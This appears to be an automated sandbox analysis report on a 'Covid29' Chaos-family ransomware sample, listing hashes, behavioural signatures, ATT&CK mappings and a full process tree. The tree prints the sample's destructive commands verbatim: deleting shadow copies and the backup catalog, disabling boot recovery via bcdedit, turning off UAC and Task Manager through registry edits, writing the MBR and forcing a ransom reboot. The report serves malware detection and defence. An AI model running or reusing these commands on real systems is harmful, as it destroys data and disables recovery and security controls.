Overview

overview

10

Static

static

10

Covid29 Ra...re.zip

windows7-x64

1

Covid29 Ra...re.zip

windows10-2004-x64

10

Analysis

  • max time kernel
    147s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    10-12-2024 20:21

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    Covid29 Ransomware.zip

  • Size

    1.7MB

  • MD5

    272d3e458250acd2ea839eb24b427ce5

  • SHA1

    fae7194da5c969f2d8220ed9250aa1de7bf56609

  • SHA256

    bbb5c6b4f85c81a323d11d34629776e99ca40e983c5ce0d0a3d540addb1c2fe3

  • SHA512

    d05bb280775515b6eedf717f88d63ed11edbaae01321ec593ecc0725b348e9a0caacf7ebcd2c25a6e0dc79b2cdae127df5aa380b48480332a6f5cd2b32d4e55c

  • SSDEEP

    49152:dSrGy+kXRl9cIXjRG8OzbgFSXACZ4UL238tvVZkKNDN0AaFlkUSan:OZlyIzRXOfZv4UrtvVZRW6i

Score
10/10
chaosbootkitdefense_evasiondiscoveryevasionexecutionimpactpersistenceransomwarespywarestealertrojanupx

Malware Config

Signatures

  • Chaos

    Ransomware family first seen in June 2021.

    ransomwarechaos
  • Chaos Ransomware 9 IoCs
  • Chaos family
    chaos
  • UAC bypass 3 TTPs 4 IoCs
    evasiontrojan
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomwaredefense_evasionimpactexecution
  • Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs
    ransomwareevasion
  • Deletes backup catalog 3 TTPs 2 IoCs

    Uses wbadmin.exe to inhibit system recovery.

    ransomware
  • Disables Task Manager via registry modification
    evasion
  • Checks computer location settings 2 TTPs 8 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 6 IoCs
  • Executes dropped EXE 14 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Drops desktop.ini file(s) 64 IoCs
  • Writes to the Master Boot Record (MBR) 1 TTPs 2 IoCs

    Bootkits write to the MBR to gain persistence at a level below the operating system.

    bootkitpersistence
  • Sets desktop wallpaper using registry 2 TTPs 2 IoCs
    ransomware
  • UPX packed file 10 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 35 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 4 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 4 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Interacts with shadow copies 3 TTPs 2 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

    ransomware
  • Kills process with taskkill 2 IoCs
    evasion
  • Modifies registry class 5 IoCs
  • Modifies registry key 1 TTPs 14 IoCs
  • Opens file in notepad (likely ransom note) 1 IoCs
    ransomware
  • Runs ping.exe 1 TTPs 4 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 19 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Program Files\7-Zip\7zFM.exe
    "C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\AppData\Local\Temp\Covid29 Ransomware.zip"
    1⤵
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of WriteProcessMemory
    PID:3820
    • C:\Windows\system32\NOTEPAD.EXE
      "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\AppData\Local\Temp\7zOCEE32AA7\readme.txt
      2⤵
      • Opens file in notepad (likely ransom note)
      PID:3512
    • C:\Users\Admin\AppData\Local\Temp\7zOCEE93D18\Cov29LockScreen.exe
      "C:\Users\Admin\AppData\Local\Temp\7zOCEE93D18\Cov29LockScreen.exe"
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      PID:3532
    • C:\Users\Admin\AppData\Local\Temp\7zOCEE70148\Cov29LockScreen.exe
      "C:\Users\Admin\AppData\Local\Temp\7zOCEE70148\Cov29LockScreen.exe"
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      PID:5016
    • C:\Users\Admin\AppData\Local\Temp\7zOCEE5A168\Bat_To_Exe_Converter.exe
      "C:\Users\Admin\AppData\Local\Temp\7zOCEE5A168\Bat_To_Exe_Converter.exe"
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      PID:2108
    • C:\Users\Admin\AppData\Local\Temp\7zOCEE59F88\TrojanRansomCovid29.exe
      "C:\Users\Admin\AppData\Local\Temp\7zOCEE59F88\TrojanRansomCovid29.exe"
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4900
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\98FF.tmp\TrojanRansomCovid29.bat" "
        3⤵
        • Checks computer location settings
        • System Location Discovery: System Language Discovery
        • Modifies registry class
        • Suspicious use of WriteProcessMemory
        PID:2524
        • C:\Windows\SysWOW64\WScript.exe
          "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\98FF.tmp\fakeerror.vbs"
          4⤵
          • System Location Discovery: System Language Discovery
          PID:1984
        • C:\Windows\SysWOW64\PING.EXE
          ping localhost -n 2
          4⤵
          • System Location Discovery: System Language Discovery
          • System Network Configuration Discovery: Internet Connection Discovery
          • Runs ping.exe
          PID:1416
        • C:\Windows\SysWOW64\reg.exe
          reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
          4⤵
          • System Location Discovery: System Language Discovery
          • Modifies registry key
          PID:4964
        • C:\Windows\SysWOW64\reg.exe
          reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v HideFastUserSwitching /t REG_DWORD /d 1 /f
          4⤵
          • System Location Discovery: System Language Discovery
          • Modifies registry key
          PID:652
        • C:\Windows\SysWOW64\reg.exe
          reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableChangePassword /t REG_DWORD /d 1 /f
          4⤵
          • System Location Discovery: System Language Discovery
          • Modifies registry key
          PID:4400
        • C:\Windows\SysWOW64\reg.exe
          reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableLockWorkstation /t REG_DWORD /d 1 /f
          4⤵
          • System Location Discovery: System Language Discovery
          • Modifies registry key
          PID:4292
        • C:\Windows\SysWOW64\reg.exe
          reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoLogoff /t REG_DWORD /d 1 /f
          4⤵
          • System Location Discovery: System Language Discovery
          • Modifies registry key
          PID:4912
        • C:\Windows\SysWOW64\reg.exe
          reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f
          4⤵
          • UAC bypass
          • System Location Discovery: System Language Discovery
          • Modifies registry key
          PID:2652
        • C:\Windows\SysWOW64\reg.exe
          reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
          4⤵
          • UAC bypass
          • System Location Discovery: System Language Discovery
          • Modifies registry key
          PID:2640
        • C:\Users\Admin\AppData\Local\Temp\98FF.tmp\mbr.exe
          mbr.exe
          4⤵
          • Executes dropped EXE
          • Writes to the Master Boot Record (MBR)
          • System Location Discovery: System Language Discovery
          PID:2356
        • C:\Users\Admin\AppData\Local\Temp\98FF.tmp\Cov29Cry.exe
          Cov29Cry.exe
          4⤵
          • Checks computer location settings
          • Executes dropped EXE
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:812
          • C:\Users\Admin\AppData\Roaming\svchost.exe
            "C:\Users\Admin\AppData\Roaming\svchost.exe"
            5⤵
            • Checks computer location settings
            • Drops startup file
            • Executes dropped EXE
            • Drops desktop.ini file(s)
            • Sets desktop wallpaper using registry
            • Modifies registry class
            • Suspicious behavior: AddClipboardFormatListener
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:4368
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" /C vssadmin delete shadows /all /quiet & wmic shadowcopy delete
              6⤵
              • Suspicious use of WriteProcessMemory
              PID:4908
              • C:\Windows\system32\vssadmin.exe
                vssadmin delete shadows /all /quiet
                7⤵
                • Interacts with shadow copies
                PID:2900
              • C:\Windows\System32\Wbem\WMIC.exe
                wmic shadowcopy delete
                7⤵
                • Suspicious use of AdjustPrivilegeToken
                PID:1368
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" /C bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no
              6⤵
                PID:1408
                • C:\Windows\system32\bcdedit.exe
                  bcdedit /set {default} bootstatuspolicy ignoreallfailures
                  7⤵
                  • Modifies boot configuration data using bcdedit
                  PID:4664
                • C:\Windows\system32\bcdedit.exe
                  bcdedit /set {default} recoveryenabled no
                  7⤵
                  • Modifies boot configuration data using bcdedit
                  PID:4736
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" /C wbadmin delete catalog -quiet
                6⤵
                  PID:5072
                  • C:\Windows\system32\wbadmin.exe
                    wbadmin delete catalog -quiet
                    7⤵
                    • Deletes backup catalog
                    PID:440
                • C:\Windows\system32\NOTEPAD.EXE
                  "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\AppData\Roaming\covid29-is-here.txt
                  6⤵
                    PID:4020
              • C:\Windows\SysWOW64\shutdown.exe
                shutdown /r /t 300 /c "5 minutes to pay until you lose your data and system forever"
                4⤵
                • System Location Discovery: System Language Discovery
                • Suspicious use of AdjustPrivilegeToken
                PID:4044
              • C:\Windows\SysWOW64\PING.EXE
                ping localhost -n 9
                4⤵
                • System Location Discovery: System Language Discovery
                • System Network Configuration Discovery: Internet Connection Discovery
                • Runs ping.exe
                PID:3100
              • C:\Windows\SysWOW64\taskkill.exe
                taskkill /f /im explorer.exe
                4⤵
                • System Location Discovery: System Language Discovery
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:4880
              • C:\Users\Admin\AppData\Local\Temp\98FF.tmp\Cov29LockScreen.exe
                Cov29LockScreen.exe
                4⤵
                • Executes dropped EXE
                • System Location Discovery: System Language Discovery
                • Suspicious use of SetWindowsHookEx
                PID:3164
          • C:\Users\Admin\AppData\Local\Temp\7zOCEE5B659\Chaos Ransomware Builder v4.exe
            "C:\Users\Admin\AppData\Local\Temp\7zOCEE5B659\Chaos Ransomware Builder v4.exe"
            2⤵
            • Executes dropped EXE
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:4748
          • C:\Users\Admin\AppData\Local\Temp\7zOCEE4D3B9\TrojanRansomCovid29.exe
            "C:\Users\Admin\AppData\Local\Temp\7zOCEE4D3B9\TrojanRansomCovid29.exe"
            2⤵
            • Checks computer location settings
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            PID:2796
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\A500.tmp\TrojanRansomCovid29.bat" "
              3⤵
              • Checks computer location settings
              • System Location Discovery: System Language Discovery
              • Modifies registry class
              PID:3240
              • C:\Windows\SysWOW64\WScript.exe
                "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\A500.tmp\fakeerror.vbs"
                4⤵
                • System Location Discovery: System Language Discovery
                PID:4212
              • C:\Windows\SysWOW64\PING.EXE
                ping localhost -n 2
                4⤵
                • System Location Discovery: System Language Discovery
                • System Network Configuration Discovery: Internet Connection Discovery
                • Runs ping.exe
                PID:4148
              • C:\Windows\SysWOW64\reg.exe
                reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
                4⤵
                • System Location Discovery: System Language Discovery
                • Modifies registry key
                PID:4808
              • C:\Windows\SysWOW64\reg.exe
                reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v HideFastUserSwitching /t REG_DWORD /d 1 /f
                4⤵
                • System Location Discovery: System Language Discovery
                • Modifies registry key
                PID:2744
              • C:\Windows\SysWOW64\reg.exe
                reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableChangePassword /t REG_DWORD /d 1 /f
                4⤵
                • System Location Discovery: System Language Discovery
                • Modifies registry key
                PID:1456
              • C:\Windows\SysWOW64\reg.exe
                reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableLockWorkstation /t REG_DWORD /d 1 /f
                4⤵
                • System Location Discovery: System Language Discovery
                • Modifies registry key
                PID:4756
              • C:\Windows\SysWOW64\reg.exe
                reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoLogoff /t REG_DWORD /d 1 /f
                4⤵
                • System Location Discovery: System Language Discovery
                • Modifies registry key
                PID:220
              • C:\Windows\SysWOW64\reg.exe
                reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f
                4⤵
                • UAC bypass
                • System Location Discovery: System Language Discovery
                • Modifies registry key
                PID:912
              • C:\Windows\SysWOW64\reg.exe
                reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
                4⤵
                • UAC bypass
                • System Location Discovery: System Language Discovery
                • Modifies registry key
                PID:728
              • C:\Users\Admin\AppData\Local\Temp\A500.tmp\mbr.exe
                mbr.exe
                4⤵
                • Executes dropped EXE
                • Writes to the Master Boot Record (MBR)
                • System Location Discovery: System Language Discovery
                PID:3272
              • C:\Users\Admin\AppData\Local\Temp\A500.tmp\Cov29Cry.exe
                Cov29Cry.exe
                4⤵
                • Checks computer location settings
                • Executes dropped EXE
                PID:4164
                • C:\Users\Admin\AppData\Roaming\svchost.exe
                  "C:\Users\Admin\AppData\Roaming\svchost.exe"
                  5⤵
                  • Checks computer location settings
                  • Drops startup file
                  • Executes dropped EXE
                  • Drops desktop.ini file(s)
                  • Sets desktop wallpaper using registry
                  • Modifies registry class
                  • Suspicious behavior: AddClipboardFormatListener
                  PID:2312
                  • C:\Windows\System32\cmd.exe
                    "C:\Windows\System32\cmd.exe" /C vssadmin delete shadows /all /quiet & wmic shadowcopy delete
                    6⤵
                      PID:4020
                      • C:\Windows\system32\vssadmin.exe
                        vssadmin delete shadows /all /quiet
                        7⤵
                        • Interacts with shadow copies
                        PID:4536
                      • C:\Windows\System32\Wbem\WMIC.exe
                        wmic shadowcopy delete
                        7⤵
                          PID:4548
                      • C:\Windows\System32\cmd.exe
                        "C:\Windows\System32\cmd.exe" /C bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no
                        6⤵
                          PID:4012
                          • C:\Windows\system32\bcdedit.exe
                            bcdedit /set {default} bootstatuspolicy ignoreallfailures
                            7⤵
                            • Modifies boot configuration data using bcdedit
                            PID:1192
                          • C:\Windows\system32\bcdedit.exe
                            bcdedit /set {default} recoveryenabled no
                            7⤵
                            • Modifies boot configuration data using bcdedit
                            PID:3724
                        • C:\Windows\System32\cmd.exe
                          "C:\Windows\System32\cmd.exe" /C wbadmin delete catalog -quiet
                          6⤵
                            PID:224
                            • C:\Windows\system32\wbadmin.exe
                              wbadmin delete catalog -quiet
                              7⤵
                              • Deletes backup catalog
                              PID:4564
                          • C:\Windows\system32\NOTEPAD.EXE
                            "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\AppData\Roaming\covid29-is-here.txt
                            6⤵
                              PID:400
                        • C:\Windows\SysWOW64\shutdown.exe
                          shutdown /r /t 300 /c "5 minutes to pay until you lose your data and system forever"
                          4⤵
                          • System Location Discovery: System Language Discovery
                          PID:284
                        • C:\Windows\SysWOW64\PING.EXE
                          ping localhost -n 9
                          4⤵
                          • System Location Discovery: System Language Discovery
                          • System Network Configuration Discovery: Internet Connection Discovery
                          • Runs ping.exe
                          PID:2900
                        • C:\Windows\SysWOW64\taskkill.exe
                          taskkill /f /im explorer.exe
                          4⤵
                          • System Location Discovery: System Language Discovery
                          • Kills process with taskkill
                          PID:2440
                        • C:\Users\Admin\AppData\Local\Temp\A500.tmp\Cov29LockScreen.exe
                          Cov29LockScreen.exe
                          4⤵
                          • Executes dropped EXE
                          • System Location Discovery: System Language Discovery
                          • Suspicious use of SetWindowsHookEx
                          PID:3764
                  • C:\Windows\system32\vssvc.exe
                    C:\Windows\system32\vssvc.exe
                    1⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:2372
                  • C:\Windows\system32\wbengine.exe
                    "C:\Windows\system32\wbengine.exe"
                    1⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:4092
                  • C:\Windows\System32\vdsldr.exe
                    C:\Windows\System32\vdsldr.exe -Embedding
                    1⤵
                      PID:4876
                    • C:\Windows\System32\vds.exe
                      C:\Windows\System32\vds.exe
                      1⤵
                      • Checks SCSI registry key(s)
                      PID:4108

                    Network

                    MITRE ATT&CK Enterprise v15

                    Reconnaissance

                    Resource Development

                    Initial Access

                    Execution

                    Command and Scripting Interpreter

                    1
                    T1059

                    Windows Management Instrumentation

                    1
                    T1047

                    Persistence

                    Pre-OS Boot

                    1
                    T1542

                    Bootkit

                    1
                    T1542.003

                    Privilege Escalation

                    Abuse Elevation Control Mechanism

                    1
                    T1548

                    Bypass User Account Control

                    1
                    T1548.002

                    Defense Evasion

                    Abuse Elevation Control Mechanism

                    1
                    T1548

                    Bypass User Account Control

                    1
                    T1548.002

                    Direct Volume Access

                    1
                    T1006

                    Impair Defenses

                    1
                    T1562

                    Disable or Modify Tools

                    1
                    T1562.001

                    Indicator Removal

                    3
                    T1070

                    File Deletion

                    3
                    T1070.004

                    Modify Registry

                    3
                    T1112

                    Pre-OS Boot

                    1
                    T1542

                    Bootkit

                    1
                    T1542.003

                    Credential Access

                    Credentials from Password Stores

                    1
                    T1555

                    Credentials from Web Browsers

                    1
                    T1555.003

                    Unsecured Credentials

                    1
                    T1552

                    Credentials In Files

                    1
                    T1552.001

                    Discovery

                    Peripheral Device Discovery

                    1
                    T1120

                    Query Registry

                    3
                    T1012

                    Remote System Discovery

                    1
                    T1018

                    System Information Discovery

                    3
                    T1082

                    System Location Discovery

                    1
                    T1614

                    System Language Discovery

                    1
                    T1614.001

                    System Network Configuration Discovery

                    1
                    T1016

                    Internet Connection Discovery

                    1
                    T1016.001

                    Lateral Movement

                    Collection

                    Data from Local System

                    1
                    T1005

                    Command and Control

                    Exfiltration

                    Impact

                    Defacement

                    1
                    T1491

                    Inhibit System Recovery

                    4
                    T1490

                    Replay Monitor

                    Loading Replay Monitor...

                    Downloads

                    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\Cov29Cry.exe.log
                      Filesize

                      226B

                      MD5

                      28d7fcc2b910da5e67ebb99451a5f598

                      SHA1

                      a5bf77a53eda1208f4f37d09d82da0b9915a6747

                      SHA256

                      2391511d0a66ed9f84ae54254f51c09e43be01ad685db80da3201ec880abd49c

                      SHA512

                      2d8eb65cbf04ca506f4ef3b9ae13ccf05ebefab702269ba70ffd1ce9e6c615db0a3ee3ac0e81a06f546fc3250b7b76155dd51241c41b507a441b658c8e761df6

                      Download Submit

                    • C:\Users\Admin\AppData\Local\Temp\7zOCEE32AA7\readme.txt
                      Filesize

                      285B

                      MD5

                      f4f557db9c615c87e524802af8a9992f

                      SHA1

                      692692c464b2a0229c697534c97d391179c5b646

                      SHA256

                      17976e8a6952b0123b729b50b3ad981cbe97083db9de66a37eb6f8decc39b76e

                      SHA512

                      7e8b9f2c01edf81252b722e2f9fffd1418150e9c5d6c322645bdc675561bad5b204c93ee5484b464c27a2d56ce86abc00152d32609bfd5f8271c32089b12d4c0

                      Download Submit

                    • C:\Users\Admin\AppData\Local\Temp\7zOCEE59F88\TrojanRansomCovid29.exe
                      Filesize

                      542KB

                      MD5

                      9f0563f2faaf6b9a0f7b3cf058ac80b6

                      SHA1

                      244e0ff0a5366c1607f104e7e7af4949510226ec

                      SHA256

                      a8054338891db7231f9885ca0d3bc90a651c63878ff603ede5c3efafa7e25254

                      SHA512

                      40cdf4c754977e60c233417e42a62be02f9b5bfe239c0378664c28757ce6ce1fc3b91b83d6ef6bb184c4d831761f57a07255526d12a3a955c3b473bddb97f4c9

                      Download Submit

                    • C:\Users\Admin\AppData\Local\Temp\7zOCEE5A168\Bat_To_Exe_Converter.exe
                      Filesize

                      444KB

                      MD5

                      76d5900a4adf4c1f2ab8dbfd0a450c4a

                      SHA1

                      6177a27416519564ecb5d38093d61c9a81d3c290

                      SHA256

                      7adc1f7ff040628a600f99465bd70e71ad83fecfe60b0f1dadc84b5d262ff350

                      SHA512

                      286b05ff09d4e85856c251d56902486738d9b2457d9a56ea8a449195b349f2718816099f4602efba88dad592dd6cecefcd0748382888c3026dd585b3e46f0c6e

                      Download Submit

                    • C:\Users\Admin\AppData\Local\Temp\7zOCEE5B659\Chaos Ransomware Builder v4.exe
                      Filesize

                      550KB

                      MD5

                      8b855e56e41a6e10d28522a20c1e0341

                      SHA1

                      17ea75272cfe3749c6727388fd444d2c970f9d01

                      SHA256

                      f2665f89ba53abd3deb81988c0d5194992214053e77fc89b98b64a31a7504d77

                      SHA512

                      eefab442b9c1be379e00c6a7de9d6d7d327ad8fd52d62a5744e104f6caa44f7147a8e74f340870f9c017980a3d8a5a86a05f76434539c01270c442a66b2af908

                      Download Submit

                    • C:\Users\Admin\AppData\Local\Temp\7zOCEE93D18\Cov29LockScreen.exe
                      Filesize

                      48KB

                      MD5

                      f724c6da46dc54e6737db821f9b62d77

                      SHA1

                      e35d5587326c61f4d7abd75f2f0fc1251b961977

                      SHA256

                      6cde4a9f109ae5473703c4f5962f43024d71d2138cbd889223283e7b71e5911c

                      SHA512

                      6f83dd7821828771a9cae34881c611522f6b5a567f5832f9e4b9b4b59bf495f40ad78678bd86cba59d32ea8644b4aa5f052552774fea142b9d6da625b55b6afc

                      Download Submit

                    • C:\Users\Admin\AppData\Local\Temp\98FF.tmp\Cov29Cry.exe.death
                      Filesize

                      103KB

                      MD5

                      8bcd083e16af6c15e14520d5a0bd7e6a

                      SHA1

                      c4d2f35d1fdb295db887f31bbc9237ac9263d782

                      SHA256

                      b4f78ff66dc3f5f8ddd694166e6b596d533830792f9b5f1634d3f5f17d6a884a

                      SHA512

                      35999577be0626b50eeab65b493d48af2ab42b699f7241d2780647bf7d72069216d99f5f708337a109e79b9c9229613b8341f44c6d96245fd1f3ac9f05814d6a

                      Download Submit

                    • C:\Users\Admin\AppData\Local\Temp\98FF.tmp\TrojanRansomCovid29.bat
                      Filesize

                      1KB

                      MD5

                      57f0432c8e31d4ff4da7962db27ef4e8

                      SHA1

                      d5023b3123c0b7fae683588ac0480cd2731a0c5e

                      SHA256

                      b82e64e533789c639d8e193b78e06fc028ea227f55d7568865120be080179afc

                      SHA512

                      bc082486503a95f8e2ce7689d31423386a03054c5e8e20e61250ca7b7a701e98489f5932eba4837e05ec935057f18633798a10f6f84573a95fcf086ee7cabcbf

                      Download Submit

                    • C:\Users\Admin\AppData\Local\Temp\98FF.tmp\fakeerror.vbs
                      Filesize

                      144B

                      MD5

                      c0437fe3a53e181c5e904f2d13431718

                      SHA1

                      44f9547e7259a7fb4fe718e42e499371aa188ab6

                      SHA256

                      f2571f03eb9d5ee4dca29a8fec1317ded02973c5dd233d582f56cebe98544f22

                      SHA512

                      a6b488fc74dc69fc4227f92a06deb297d19cd54b0e07659f9c9a76ce15d1ef1d8fa4d607acdd03d30d3e2be2a0f59503e27fc95f03f3006e137fa2f92825e7e3

                      Download Submit

                    • C:\Users\Admin\AppData\Local\Temp\98FF.tmp\mbr.exe.danger
                      Filesize

                      1.3MB

                      MD5

                      35af6068d91ba1cc6ce21b461f242f94

                      SHA1

                      cb054789ff03aa1617a6f5741ad53e4598184ffa

                      SHA256

                      9ac99df89c676a55b48de00384506f4c232c75956b1e465f7fe437266002655e

                      SHA512

                      136e3066c6e44af30691bcd76d9af304af0edf69f350211cf74d6713c4c952817a551757194b71c3b49ac3f87a6f0aa88fb80eb1e770d0f0dd82b29bfce80169

                      Download Submit

                    • C:\Users\Admin\AppData\Local\Temp\A500.tmp\bg.jpg
                      Filesize

                      30KB

                      MD5

                      108fc794e7171419cf881b4058f88d20

                      SHA1

                      dd05defd9fe5fb103db09eb2a3bb72c5ed7d8777

                      SHA256

                      741d2576009640a47733a6c724d56ed1a9cee1014cde047b9384181a1758cd34

                      SHA512

                      3a1a22217ff636e48612ff3b55ac6611eda6ae0b5a1f4d693440cbd6aef84d6657d3cd076ca828ba828ee556ab64e5bdecb37c1d682590877f3b23345baeb0ea

                      Download Submit

                    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.url
                      Filesize

                      142B

                      MD5

                      1a09a38485cbf1d59c29d8e3213e1ab9

                      SHA1

                      9cbe6ebd07b13a0d4b2565dc15a273629aa97251

                      SHA256

                      0a3bdc40dc0d243784bc5fa887b79110350b3d3200684f3ba99880fcea40e3b8

                      SHA512

                      a33c228196a4b3f14e40ac6ccb6c43002de28063594c472db852bedac20a6725f4e7601b9f32516e2c6bea35f83746973b3f1d200d9e5d668bda7553b62ac616

                      Download Submit

                    • C:\Users\Admin\Desktop\covid29-is-here.txt
                      Filesize

                      861B

                      MD5

                      c53dee51c26d1d759667c25918d3ed10

                      SHA1

                      da194c2de15b232811ba9d43a46194d9729507f0

                      SHA256

                      dd5b3d185ae1809407e7822de4fced945115b48cc33b2950a8da9ebd77a68c52

                      SHA512

                      da41cef03f1b5f21a1fca2cfbf1b2b180c261a75d391be3a1ba36e8d4d4aefab8db024391bbee06b99de0cb0b8eb8c89f2a304c27e20c0af171b77db33b2d12c

                      Download Submit

                    • memory/812-103-0x0000000000FC0000-0x0000000000FE0000-memory.dmp

                      Filesize

                      128KB

                      Download

                    • memory/2108-57-0x0000000000400000-0x00000000004FA000-memory.dmp

                      Filesize

                      1000KB

                      Download

                    • memory/2108-44-0x0000000000400000-0x00000000004FA000-memory.dmp

                      Filesize

                      1000KB

                      Download

                    • memory/2356-102-0x0000000000400000-0x00000000004D8000-memory.dmp

                      Filesize

                      864KB

                      Download

                    • memory/2796-206-0x0000000000400000-0x00000000005D5000-memory.dmp

                      Filesize

                      1.8MB

                      Download

                    • memory/2796-332-0x0000000000400000-0x00000000005D5000-memory.dmp

                      Filesize

                      1.8MB

                      Download

                    • memory/2796-335-0x0000000000400000-0x00000000005D5000-memory.dmp

                      Filesize

                      1.8MB

                      Download

                    • memory/3272-238-0x0000000000400000-0x00000000004D8000-memory.dmp

                      Filesize

                      864KB

                      Download

                    • memory/4748-192-0x0000000000330000-0x00000000003BE000-memory.dmp

                      Filesize

                      568KB

                      Download

                    • memory/4900-174-0x0000000000400000-0x00000000005D5000-memory.dmp

                      Filesize

                      1.8MB

                      Download

                    • memory/4900-167-0x0000000000400000-0x00000000005D5000-memory.dmp

                      Filesize

                      1.8MB

                      Download

                    • memory/4900-70-0x0000000000400000-0x00000000005D5000-memory.dmp

                      Filesize

                      1.8MB

                      Download